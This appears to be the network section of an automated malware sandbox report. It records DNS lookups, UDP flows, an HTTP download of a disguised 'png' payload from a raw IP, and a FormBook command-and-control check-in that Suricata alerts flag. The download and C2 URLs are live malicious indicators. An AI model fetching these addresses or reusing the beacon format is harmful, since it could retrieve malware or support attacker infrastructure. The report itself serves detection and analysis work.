Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.quickhealcareltd.co.uk | ||
| www.4652.voto | ||
| www.kellnovaglobalfood.info |
CNAME
kellnovaglobalfood.info
|
34.102.136.180 |
- UDP Requests
-
-
192.168.56.101:53004 164.124.101.2:53
-
192.168.56.101:53850 164.124.101.2:53
-
192.168.56.101:54148 164.124.101.2:53
-
192.168.56.101:55146 164.124.101.2:53
-
192.168.56.101:59002 164.124.101.2:53
-
192.168.56.101:137 192.168.56.103:137
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:138 192.168.56.255:138
-
192.168.56.101:53007 239.255.255.250:1900
-
52.231.114.183:123 192.168.56.101:123
-
GET
200
http://192.3.215.60/uo7/Cbqta.png
REQUEST
RESPONSE
BODY
GET /uo7/Cbqta.png HTTP/1.1
Host: 192.3.215.60
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 00:41:44 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.0.25
Last-Modified: Wed, 29 Mar 2023 09:35:27 GMT
ETag: "1fa2ac-5f806b239e502"
Accept-Ranges: bytes
Content-Length: 2073260
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/png
GET
403
http://www.kellnovaglobalfood.info/ar73/?AdpL7rd=i6BPGBhGSecaeynnAP1UBBwzioJGNNDALkJtoSYlBAMyqZ2EcpVAY4EIefV2+Ju4HrYELbkz&0pn=WHu8Jjf0PJ
REQUEST
RESPONSE
BODY
GET /ar73/?AdpL7rd=i6BPGBhGSecaeynnAP1UBBwzioJGNNDALkJtoSYlBAMyqZ2EcpVAY4EIefV2+Ju4HrYELbkz&0pn=WHu8Jjf0PJ HTTP/1.1
Host: www.kellnovaglobalfood.info
Connection: close
HTTP/1.1 403 Forbidden
Server: openresty
Date: Fri, 31 Mar 2023 00:43:04 GMT
Content-Type: text/html
Content-Length: 291
ETag: "641f4928-123"
Via: 1.1 google
Connection: close
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49167 -> 34.102.136.180:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49167 -> 34.102.136.180:80 | 2031449 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.101:49167 -> 34.102.136.180:80 | 2031453 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts